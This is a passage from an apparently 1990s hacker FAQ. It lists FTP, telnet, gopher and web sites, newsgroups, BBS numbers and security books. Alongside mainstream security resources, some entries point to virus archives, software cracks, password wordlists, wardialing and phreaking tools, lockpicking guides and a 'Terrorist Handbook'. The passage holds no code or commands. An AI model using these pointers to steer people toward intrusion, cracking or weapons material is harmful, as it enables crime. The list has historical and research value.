ftp.giga.or.at /pub/hacker/ (H/P)
ftp.greatcircle.com /pub/firewalls (Firewalls)
ftp.IEunet.ie /pub/security (Security)
ftp.indirect.com /www/evildawg/public_access/C&N/
ftp.informatik.uni-kiel.de /pub/sources/security
ftp.inoc.dl.nec.com /pub/security (Security)
ftp.lava.net /users/oracle/ (H/P
N ftp.leo.org/pub/com/os/os2/crypt
ftp.lerc.nasa.gov /security
ftp.llnl.gov /pub (CIAC)
ftp.luth.se /pub/unix/security
ftp.mcs.anl.gov /pub/security
ftp.microserve.net /ppp-pop/strata/mac (Mac)
ftp.near.net /security/archives/phrack (Zines)
ftp.net.ohio-state.edu /pub/security/satan
ftp.netcom.com /pub/br/bradleym (Virii)
ftp.netcom.com /pub/da/daemon9 (H/P)
ftp.netcom.com /pub/fi/filbert
N ftp.netcom.com /pub/gr/grady
N ftp.netcom.com /pub/il/illusion (H/P+Virus)
N ftp.netcom.com /pub/je/jericho (H/P)
ftp.netcom.com /pub/le/lewiz (Social Engineering)
N ftp.netcom.com /pub/ty/tym (TYM)
ftp.netcom.com /pub/va/vandal (DnA)
ftp.netcom.com /pub/wt/wtech/
N ftp.netcom.com /pub/zi/zigweed (H/P)
ftp.netcom.com /pub/zz/zzyzx (H/P)
ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)
ftp.ox.ac.uk /pub/comp/security
ftp.ox.ac.uk /pub/crypto (Cryptology)
ftp.ox.ac.uk /pub/wordlists (Wordlists)
ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
N ftp.pipex.net /pub/areacode (uk areacodes)
ftp.primenet.com /users/i/insphrk
ftp.primenet.com /users/k/kludge (H/P)
ftp.primenet.com /users/s/scuzzy (Copy Protection)
ftp.primus.com /pub/security (Security)
ftp.psy.uq.oz.au /pub/DES
ftp.rahul.net /pub/conquest/DeadelviS/script/vms/
ftp.rahul.net /pub/lps (Home of the FAQ)
N ftp.smartlink.net /pub/users/mikes/haq
ftp.std.com /archives/alt.locksmithing (Locksmithing)
ftp.std.com /obi/Mischief/ (MIT Guide to Locks)
ftp.std.com /obi/Phracks (Zines)
ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
ftp.sura.net /pub/security (SURAnet)
U ftp.technion.ac.il
ftp.tis.com /pub (TIS)
ftp.tisl.ukans.edu /pub/security
ftp.uni-koeln.de (Wordlists)
ftp.uu.net /doc/literary/obi/Phracks (Zines)
ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection)
ftp.warwick.ac.uk /pub/cud (Zines)
ftp.wi.leidenuniv.nl /pub/security
ftp.win.tue.nl /pub/security (Security)
ftp.winternet.com /users/nitehwk (H/P)
ftp.wustl.edu /doc/EFF (EFF)
ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology)
garbo.uwasa.fi /pc/crypt (Cryptology)
N gemini.tuc.noao.edu /pub/grandi
gti.net /pub/safetynet
hack-this.pc.cc.cmu.edu (Down for Summer)
heffer.lab.csuchico.edu (Third Stone From The Sun)
N infonexus.com /pub (The Guild)
l0pht.com (The L0pht)
lcs.mit.edu /telecom-archives (Telecom archives)
lod.com (Legion of Doom)
mary.iia.org /pub/users/patriot (Misc)
N net-dist.mit.edu /pub/pgp
net.tamu.edu /pub/security/TAMU (Security)
net23.com /pub (Max Headroom)
nic.ddn.mil /scc (DDN Security)
nic.sura.net /pub/security
oak.oakland.edu /pub/hamradio (Ham Radio)
oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)
oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers)
prism.nmt.edu /pub/misc (Terrorist Handbook)
pyrite.rutgers.edu /pub/security (Security)
relay.cs.toronto.edu /doc/telecom-archives (Telecom)
rena.dit.co.jp /pub/security (Security)
research.att.com /dist/internet_security (AT&T)
ripem.msu.edu /pub/crypt (Ripem)
N rmii.com /pub2/KRaD (KRaD Magazine)
rtfm.mit.edu (Etext)
rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
scss3.cl.msu.edu /pub/crypt (Cryptology)
N sgigate.sgi.com /Security (SGI Security)
spy.org (CSC)
N src.doc.ic.ac.uk /usenet/uk.telecom (uk.telecom archives)
suburbia.apana.org.au /pub/unix/security (Security)
theta.iis.u-tokyo.ac.jp /pub1/security (Security)
titania.mathematik.uni-ulm.de /pub/security (Security)
toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
vixen.cso.uiuc.edu /security
N web.mit.edu
whacked.l0pht.com (Mac + H/P)
wimsey.bc.ca /pub/crypto (Cryptology)
N wuarchive.wustl.edu /pub/aminet/util/crypt

02. What are some fsp sites of interest to hackers?

None at this time.

03. What are some newsgroups of interest to hackers?

alt.2600 Do it 'til it hertz
N alt.2600hz
N alt.2600.codez
N alt.2600.debate
N alt.2600.moderated
alt.cellular-phone-tech Brilliant telephony mind blow netnews naming
alt.comp.virus An unmoderated forum for discussing viruses
alt.cracks Heavy toolbelt wearers of the world, unite
alt.cyberpunk High-tech low-life.
alt.cyberspace Cyberspace and how it should work.
alt.dcom.telecom Discussion of telecommunications technology
alt.engr.explosives [no description available]
alt.fan.lewiz Lewis De Payne fan club
alt.hackers Descriptions of projects currently under development
alt.locksmithing You locked your keys in *where*?
alt.hackers.malicious The really bad guys - don't take candy from them
alt.ph.uk United Kingdom version of alt.2600
alt.privacy.anon-server Tech. & policy matters of anonymous contact servers
alt.radio.pirate Hide the gear, here comes the magic station-wagons.
alt.radio.scanner Discussion of scanning radio receivers.
alt.satellite.tv.europe All about European satellite tv
alt.security Security issues on computer systems
alt.security.index Pointers to good stuff in misc.security (Moderated)
alt.security.keydist Exchange of keys for public key encryption systems
alt.security.pgp The Pretty Good Privacy package
alt.security.ripem A secure email system illegal to export from the US
comp.dcom.cellular [no description available]
comp.dcom.telecom Telecommunications digest (Moderated)
comp.dcom.telecom.tech [no description available]
comp.org.cpsr.announce Computer Professionals for Social Responsibility
comp.org.cpsr.talk Issues of computing and social responsibility
comp.org.eff.news News from the Electronic Frontiers Foundation
comp.org.eff.talk Discussion of EFF goals, strategies, etc.
N comp.os.netware.security Netware Security issues
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip TCP and IP network protocols
comp.risks Risks to the public from computers & users
comp.security.announce Announcements from the CERT about security
N comp.security.firewalls Anything pertaining to network firewall security
comp.security.misc Security issues of computers and networks
comp.security.unix Discussion of Unix security
comp.virus Computer viruses & security (Moderated)
de.org.ccc Mitteilungen des CCC e.V.
misc.security Security in general, not just computers (Moderated)
rec.pyrotechnics Fireworks, rocketry, safety, & other topics
rec.radio.scanner [no description available]
rec.video.cable-tv Technical and regulatory issues of cable television
sci.crypt Different methods of data en/decryption

04. What are some telnet sites of interest to hackers?

ntiabbs.ntia.doc.gov (NTIA)
l0pht.com (The L0pht)
sfpg.gcomm.com (The Floating Pancreas)
telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)
pcspm2.dar.csiro.au (Virtual Doughnutland BBS)
prince.carleton.ca 31337 (Twilight of The Idols)
N spy.org (Computer Systems Consulting)

05. What are some gopher sites of interest to hackers?

ba.com (Bell Atlantic)
N cell-relay.indiana.edu (Cell Relay Retreat)
csrc.ncsl.nist.gov (NIST Security Gopher)
gopher.acm.org (SIGSAC (Security, Audit & Control))
gopher.cpsr.org (Computer Professionals for Social Responsibility)
gopher.eff.org (Electonic Frontier Foundation)
N gopher.panix.com (Panix)
gw.PacBell.com (Pacific Bell)
iitf.doc.gov (NITA -- IITF)
N info.itu.ch (International Telegraph Union)
ncjrs.aspensys.com (National Criminal Justice Reference Service)
oss.net (Open Source Solutions)
spy.org (Computer Systems Consulting)
wiretap.spies.com (Wiretap)

06. What are some World wide Web (WWW) sites of interest to hackers?

N (Peter Strangman's)
U alcuin.plymouth.edu/~jay/underground.html (Underground Links)
U all.net (American Society for Industrial Security Management)
alumni.caltech.edu/~dank/isdn/ (ISDN)
N asearch.mccmedia.com/www-security.html (WWW-security info)
aset.rsoc.rockwell.com (NASA/MOD AIS Security)
aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec)
att.net/dir800 (800 directory)
ausg.dartmouth.edu/security.html (UNIX Security Topics)
N bianca.com/bump/ua (Unauthorized Access Home Page)
N ccnga.uwaterloo.ca/~jscouria/gsm.html (GSM Specification)
N cell-relay.indiana.edu/cell-relay (Cell Relay Retreat)
N ciac.llnl.gov (CIAC Web Site)
N community.net/community/all/home/solano/sbaldwin
N cs.purdue.edu/homes/spaf/coast.html (The COAST Project and Laboratory)
N csbh.mhv.net/dcypher/home.html (Dcypher's Home Page)
N csrc.ncsl.nist.gov (NIST)
N cwix.com/cwplc (Cable and Wireless)
N dcpu1.cs.york.ac.uk:6666/fisher/telecom (Embryonic Telephone History Page)
N dfw.net/~aleph1 (The Uebercracker's Security Web)
N draco.centerline.com:8080/~franl/crypto.html (Crypto)
N draco.centerline.com:8080/~franl/privacy/bacard-review.html
N enigma.pc.cc.cmu.edu/~caffeine/home.html (Caffeine's Home Page)
N everest.cs.ucdavis.edu/Security.html (UCDavis.edu Security Page)
N everest.cs.ucdavis.edu/slides/slides.html (Security Lab Slides)
ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
N fastlane.net/homepages/thegnome (Simple Nomad)
N first.org (FIRST)
N freeside.com/phrack.html (Phrack Magazine)
N frosted.mhv.net/keytrap.html
N ftp.arpa.mil (ARPA home page)
ftp.tamu.edu/~abr8030/security.html (Security)
N grove.ufl.edu/~bytor (Bytor home page)
N hightop.nrl.navy.mil/potpourri.html (MOD Security)
N hightop.nrl.navy.mil/rainbow.html (MOD Rainbow Books)
ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
info.bellcore.com/BETSI/betsi.html (Betsi)
N info.gte.com (GTE Labrotories)
N info.mcc.ac.uk/Orange (Orange)
infosec.nosc.mil/infosec.html (SPAWAR INFOSEC)
N infosec.nosc.mil/navcirt.html (NAVCIRT)
N iss.net/iss (Internet Security Systems)
N jumper.mcc.ac.uk/~afs/telecom (UK Telecom Pricing Information)
l0pht.com (The l0pht)
l0pht.com/~oblivion/IIRG.html (Phantasy Magazine)
N l0pht.com/~spacerog/index.html (Whacked Mac Archives)
N lcs.mit.edu/telecom-archives/areacodes/guide (North American Area Codes)
N lcs.mit.edu/telecom-archives/npa.800 (1-800 Info)
N lcs.mit.edu/telecom-archives/npa.900 (1-900 Info)
N lod.com (Legion of Doom)
N lod.com/~gatsby (Gatsby)
N lod.com/~tabas (Mark Tabas -- LOD)
N lod.com/~vampire/emptime7 (Empire Times)
N magicnet.net/xtabi/netscape/links/cypher.html (Cryptology)
N mars.superlink.net/user/esquire (Red box info)
matrix.resnet.upenn.edu/rourke (FakeMail FAQ)
mindlink.jolt.com (The Secrets of LockPicking)
N mindlink.net/A7657 (Stephen H Kawamoto's Home Page)
mls.saic.com (SAIC MLS)
N mnementh.cs.adfa.oz.au/Lawrie_Brown.html (Lawrie Brown's crypto bibliography)
motserv.indirect.com (Motorola)
U naic.nasa.gov/fbi (FBI information)
U nasirc.nasa.gov/NASIRC_home.html (NASIRC)
obscura.com/~loki/ (Cryptology)
ophie.hughes.american.edu/~ophie (Ophie)
N outpost.callnet.com/outpost.html
pages.ripco.com:8080/~glr/glr.html (Full Disclosure)
U peg.pegasus.oz.au (EFF Australia)
N quetel.qc.ca/qt0000ag.htm (Quebec-Telephone)
N resudox.net/bio/mainpage.html (BioHazard's Home Page)
N ripco.com:8080/~glr/glr.html (Full Disclosure)
N rschp2.anu.edu.au:8080/crypt.html
N scitsc.wlv.ac.uk/~cs6171/hack (UNIX Security)
U seclab.cs.ucdavis.edu/Security.html (Security)
U seclab.cs.ucdavis.edu/slides/slides.html (Security Lab Slides)
N sfpg.gcomm.com/mitnick/mitnick.htm (3wP Kevin Mitnick WWW HomePage)
N smurfland.cit.buffalo.edu/NetMan/index.html (Network Management)
N sunsite.unc.edu/sun/inform/sun-info.html (Sun Microsystems Sponsor Page)
N support.mayfield.hp.com (Hewlett Packard SupportLine Services)
N tamsun.tamu.edu/~clm3840/hacking.html (Hacking/Phreaking)
the-tech.mit.edu (LaMacchia case info)
N town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)
turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)
ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting)
underground.org (Eubercrackers)
unixg.ubc.ca:780/~jyee/ (Cell)
N web.mit.edu/network/pgp.html (Getting PGP)
N web.nec.com/products/necam/mrd/cellphones/index.html(NEC)
U weber.u.washington.edu/~phantom/cpunk/index.html (Cryptology)
N wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html (Klon's Underground Links)
wintermute.itd.nrl.navy.mil/5544.html (Network Security)
N www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html
N www-ns.rutgers.edu/www-security/index.html (Rutger's documents on WWW security)
U www-personal.engin.umich.edu/~jgotts/underground/boxes.html (Box info)
U www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
N www-swiss.ai.mit.edu/~bal/pks-toplev.html (Findingsomeone's PGP key)
www.2600.com (2600 Magazine)
N www.8lgm.org (8lgm Security Advisories)
www.aads.net (Ameritech)
N www.access.gpo.gov/su_docs/
N www.aloha.com/~seanw/index.html
www.alw.nih.gov/WWW/security.html (Unix Security)
N www.artcom.de/CCC/hotlist.html (Chaos Computer Club Hotlist)
N www.artech-house.com/artech.html (Artech House)
N www.asg.unb.ca (Atlantic Systems Group Mosaic Index)
N www.aston.ac.uk/~bromejt/mobile.html (Mobile Phone Service Locator)
N www.att.com (ATT)
N www.auditel.com (Auditel)
N www.auscert.org.au (Australian CERT)
N www.axent.com/axent (Axent Technologies)
www.ba.com (Bell Atlantic)
N www.bctel.com (BC Tel)
N www.bell.ca (Bell Canada)
www.bell.com (MFJ Task Force)
www.bellcore.com/SECURITY/security.html (Bellcore Security Products)
N www.border.com (Border Network Technologies)
N www.brad.ac.uk/~nasmith/underground.html (Undergound WWW Sites)
www.bst.bls.com (BellSouth)
N www.bt.co.uk (British Telecom)
N www.business.co.uk/cellnet (Cellnet)
N www.c2.org:80/remail/by-www.html (WWW-based remailing form)
www.c3.lanl.gov/~mcn (Lanl)
www.cam.org/~gagnon (OCP's)
U www.careermosaic.com/cm/uswest (USWest)
N www.castle.net/~kobrien/telecom.html (Telecom)
N www.cco.caltech.edu/~rknop/amiga_pgp26.html
N www.cdt.org/cda.html
N www.cec.wustl.edu/~dmm2/egs/egs.html (En Garde Systems)
www.cert.dfn.de/ (German First Team)
N www.checkpoint.com (Checkpoint)
N www.chem.surrey.ac.uk/~ch11mh/secure.html (Another page on secure WWW server setup)
N www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of PHREAK!)
N www.cityscape.co.uk/users/ek80/index.html (Inside Cable Cover)
N www.cohesive.com (Cohesive Systems)
www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
N www.cosc.georgetown.edu/~denning/crypto (The Cryptography Project)
N www.cost.se (COST Computer Security Technologies)
www.cpsr.org/home (CPSR)
N www.crimson.com/isdn/telecomacry.txt (Crimson's Telecommunications Acronyms)
N www.crtc.gc.ca (CRTC - Canadian regulator)
N www.cs.berkeley.edu/~raph/remailer-list.html (Anon remailer list)
U www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (CMU Security)
U www.cs.purdue.edu/coast/coast.html (Coast)
N www.cs.purdue.edu/pcert/pcert.html (PCERT)
N www.cs.tu-bs.de (Network management Tools)
www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
www.cs.umd.edu/~lgas (Laughing Gas)
N www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)
www.csd.harris.com/secure_info.html (Harris)
www.csl.sri.com (SRI Computer Science Lab)
U www.csua.berekeley.edu/pub/cypherpunks/Home.html (Cryptology)
N www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html
N www.cyber.co.uk/~joyrex (Joyrex Cellular)
www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
N www.cygnus.com/~gnu/export.html (Cryptography Export Control Archives)
U www.datafellows.fi (Data Fellows (F-Prot)
N www.datasync.com/~sotmesc/sotmesc.html (SotMESC)
N www.dcs.exeter.ac.uk/~aba (Cypherpunk)
N www.demon.co.uk/mobiles (C.C.Mobiles)
N www.dhp.com (DataHaven Project)
N www.dhp.com/~pluvius (Pluvius' Home Page)
U www.digicash.com/ecash/ecash-home.html (Ecash Home Page)
www.digital.com/info/key-secure-index.html (Digital Secure Systems)
N www.dtic.dla.mil/defenselink (Office of the U.S. Secretary of Defense (OSD)
N www.dtic.dla.mil/iac (DoD Information Analysis Center (IAC) Hub Page)
N www.eecs.nwu.edu/~jmyers/bugtraq/about.html
N www.eecs.nwu.edu/~jmyers/bugtraq/archives.html
www.eecs.nwu.edu/~jmyers/bugtraq/index.html (Bugtraq)
www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems)
N www.eff.org
N www.eff.org/pub/Alerts
N www.eff.org/pub/Net_info/Tools/Crypto/
www.emap.co.uk/partners/racal-airtech (Racal-Airtech)
www.ensta.fr/internet/unix/sys_admin (System administration)
N www.epic.org
N www.ericsson.nl (Ericsson)
www.etext.org/Zines/ (Zines)
N www.farmstead.com (Farmstead)
U www.fbi.gov/fbi/FBI_homepage.html (FBI Homepage)
www.fc.net/defcon (DefCon)
www.fedworld.gov (Federal Government)
www.first.org/first/ (FIRST)
N www.fonorola.net (Fonorola (a Canadian carrier)
N www.frus.com (Firewalls R Us)
www.gbnet.net/kbridge (KarlBridge)
www.getnet.com/crak (CRAK Software)
N www.getnet.com/~vision
N www.gold.net/users/cw78 (FleXtel)
www.greatcircle.com (Great Circle Associates)
N www.gsu.edu/~socrerx/catalog.html
N www.gta.com/index.html (Global Technology Associates)
N www.gti.net/grayarea (Gray Areas)
U www.hotwired.com (Wired Magazine)
www.hpcc.gov/blue94/section.4.6.html (NSA)
N www.hq2.telecom.ie (Telecom Eireann)
N www.iacr.org/~iacr (International Association of Cryptologic Research (IACR)
N www.ibmpcug.co.uk/~Vidtron (Videotron)
N www.ic.gov (Central Intelligence Agency Home Page)
N www.ifi.uio.no/~staalesc/PGP/home.html
N www.iia.org/~gautier/me.html (Rich Gautier's Home Page)
N www.indirect.com/www/evildawg
www.indirect.com/www/johnk/ (CRAK Software)
N www.ingress.com (Ingress Communications)
N www.interaccess.com/trc/tsa.html
N www.io.org/~djcl/phoneb.html
N www.iquest.net/~oseidler (Oliver Seidler's WWW Page)
N www.itd.nrl.navy.mil/ITD/5540 (NRL Center for High Assurance Computer Systems)
N www.itu.ch/TELECOM (Telecom '95)
N www.jagunet.com/~john/
N www.jedefense.com/jed.html (Journal of Electronic Defense)
N www.l0pht.com/cdc.html (Cult of the Dead Cow)
N www.l0pht.com/radiophone (Radiophone Archive)
N www.l0pht.com/~oblivion/IIRG.html (International Information Retrieval Guild Archive Site)
N www.lat.com (Los Altos Technologies)
www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
N www.lib.iup.edu/~seaman/hack/bone.html (Bone's H/P/C page o' rama)
N www.links.net
N www.louisville.edu/~wrbake01 (The GodZ of CyberSpacE)
www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
N www.mastercard.com (Secure Electronic Payment Protocol)
www.mcs.com/~candyman/http/radio.html (Radar)
www.mcs.com/~candyman/under.html (Cell)
N www.mcs.net/~candyman (H/P)
www.mgmua.com/hackers/index.html (Hackers, the movie)
N www.milkyway.com (Milkyway Networks Corporation)
N www.mit.edu:8001/people/warlord/pgp-faq.html (PGP 2.6.2 FAQ, Buglist, Fixes, and Improvements)
N www.monmouth.com/~jshahom (The Insomniac's Home Page)
N www.mot.com (Motorola)
www.mpr.ca/ (MPR Teltech Ltd)
N www.msen.com/~emv/tubed/spoofing.html (Info on IP spoofing attacks)
N www.mwjournal.com/mwj.html (Microwave Journal)
N www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic)
N www.ncsl.nist.gov (NIST Computer Systems Laboratory)
www.net23.com (Max Headroom)
N www.netpart.com (NetPartners)
N www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL)
www.nist.gov (NIST)
N www.nokia.com (Nokia)
N www.nortel.com (Northern Telecom)
www.ntt.jp (Nippon Telephone)
N www.nynex.co.uk/nynex (NYNEX)
U www.odci.gov (The CIA)
N www.one2one.co.uk (Mercury One-2-One)
N www.open.gov.uk/oftel/oftelwww/oftelhm.htm (OFTEL's Home Page)
www.pacbell.com (Pacific Bell)
N www.panix.com/vtw
N www.paranoia.com/hpa (Paranoia's H/P/A Links)
www.paranoia.com/mthreat (ToneLoc)
N www.paranoia.com/~coldfire (Cold Fire's Web Page)
N www.paranoia.com/~darkfox (Darkfox's Home Page)
N www.paranoia.com/~ice9 (Ice-9's Home Page)
www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
N www.phantom.com/~darkcyde (DarkCyde)
N www.phantom.com/~king (Randy King's WWW Page)
N www.phillips.com (Phillips Electronics)
N www.phred.org (The Phred Networking Organization)
N www.pic.net/uniloc/starlink (Starlink)
www.planet.net/onkeld (BlueBeep Home Page)
www.primenet.com/~kludge/haqr.html (Kludge)
www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography)
www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA)
N www.ramp.com/~lcs/winpgp.html (PGP with MS/Win)
N www.raptor.com (Raptor)
www.raptor.com/raptor/raptor.html (Raptor Network Isolator)
www.research.att.com (AT&T)
N www.rocksoft.com/~ross (Rocksoft Pty (Veracity)
N www.rogers.com (Rogers Communications)
www.rsa.com (RSA Data Security)
N www.sasknet.sk.ca/Pages/sktlhome.html (SaskTel)
N www.sccsi.com/lsli/lsli.homepage.html (PORTUS)
N www.sctc.com (Secure Computing Corporation)
www.seas.upenn.edu/~rourkem (FakeMail FAQ)
N www.seduction.com
N www.sei.cmu.edu/SEI/programs/cert.html (CERT Coordination Center)
N www.service.com/cm/uswest/usw1.html (USWest)
N www.shore.net/~eskwired/hp.html
N www.soci.niu.edu/~cudigest
N www.somar.com (Somar Software)
N www.soscorp.com (Sources of Supply Corp)
www.spatz.com/pecos/index.html (The World of Hacking)
www.spy.org (Computer Systems Consulting)
N www.spy.org (spy.org)
www.sri.com (SRI)
N www.stentor.ca (Stentor (Canadian telcos)
N www.tecc.co.uk/public/uk-telecom/btns.html (BT "star services")
N www.telecoms-mag.com/tcs.html (Telecommunications Magazine)
N www.telkom.co.za (Telkom S.A. Ltd)
www.telstra.com.au/info/security.html (Security Reference Index)
N www.teresa.com
N www.tiac.net/users/triad/philes/jokai.html (Jokai Reservation for the Preservation of the 1st Amendment)
N www.ticllc.net/~scrtnizr
www.tis.com (Trusted Information Systems)
N www.trcone.com/t_crookb.html (CrookBook)
N www.tregistry.com/ttr (Telecomunications Training Courses)
www.tri.sbc.com (Southwestern Bell)
www.tricon.net/Comm/synapse (Synapse Magazine)
N www.uccs.edu/~abusby/hpawebsites.html
N www.uccs.edu/~abusby/k0p.html (kn0wledge phreak)
www.uci.agh.edu.pl/pub/security (Security)
N www.uknet.net/pnc (The Personal Number Company)
www.umcc.umich.edu/~doug/virus-faq.html (Virus)
N www.underground.org (underground.org)
N www.underground.org/bugs/
www.usfca.edu/crackdown/crack.html (Hacker Crackdown)
N www.vodafone.co.uk (Vodafone)
N www.vptt.ch/natel.html (Natel)
U www.wam.umd.edu/~ankh/public/devil_does_unix
N www.warwick.ac.uk/WWW/search/Phones/nng.html (National Number Group Codes)
N www.well.com/user/abacard
N www.well.com/user/crunch (Captain Crunch)
N www.wfu.edu/~wilsonbd
www.wiltel.com (Wiltel)
N www.wiltel.com/glossary/glossary.html (Telecommunications Glossary)
N www.wired.com (HotWired)
N www2.undernet.org:8080/~cs93jtl/IRC.html (IRC)

In addition to browsing these fine pages, you can often find what you
are looking for by using one of these automated search engines:


07. What are some IRC channels of interest to hackers?


08. What are some BBS's of interest to hackers?

Rune Stone (203)832-8441 NUP: Cyberdeck
The Truth Sayer's Domain (210)493-9975
Hacker's Haven (303)343-4053
Independent Nation (413)573-1809
Ut0PiA (315)656-5135
underworld_1994.com (514)683-1894
Alliance Communications (612)251-8596
Maas-Neotek (617)855-2923
Apocalypse 2000 (708)676-9855
K0dE Ab0dE (713)579-2276
fARM R0Ad 666 (713)855-0261
kn0wledge Phreak <k0p> BBS (719)578-8288 NUP=NO NUP
N The Edge of Reality (805)496-7460
Static Line (806)747-0802
Area 51 (908)526-4384
N The Drunk Forces +972-3-5733477

09. What are some books of interest to hackers?

General Computer Security
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

This is an excellent book. It gives a broad overview of
computer security without sacrificing detail. A must read for
the beginning security expert.

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1

The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.

Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2

Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977

Windows NT 3.5 Guidelines for Security, Audit and Control
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9

Protection and Security on the Information Superhighway
Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1

N Commonsense Computer Security
Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5

N Combatting Computer Crime
Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
Copyright Date: 1992
ISBN: 0-8306-7664-3

N Computer Crime: a Crimefighters Handbook
Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4

Unix System Security
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2

N Building Internet Firewalls
Author: D. Brent Chapman and Elizabeth D. Zwicky
Publisher: O'Reilly and Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-124-0

N Unix System Security Essentials
Author: Christopher Braun
Publisher: Addison Wesley
Copyright Date: 1995
ISBN: 0-201-42775-3

N Internet Firewalls and Network Security
Author: Karanjit S. Siyan and Chris Hare
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-437-6

Network Security
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

Not a total waste of paper, but definitely not worth the
$49.95 purchase price. The book is a rehash of previously
published information. The only secret we learn from reading
the book is that Sylvia Moon is a younger woman madly in love
with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: How to Plan For It and How to Achieve It
Author: Richard M. Baker
Publisher: McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0

N Network Security
Author: Steven L. Shaffer and Alan R. Simon
Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: Private Communications in a Public World
Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1

N Network and Internetwork Security: Principles and Practice
Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0

N Implementing Internet Security
Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6

N Actually Useful Internet Security Techniques
Author: Larry J. Hughes, Jr.
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-508-9

Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
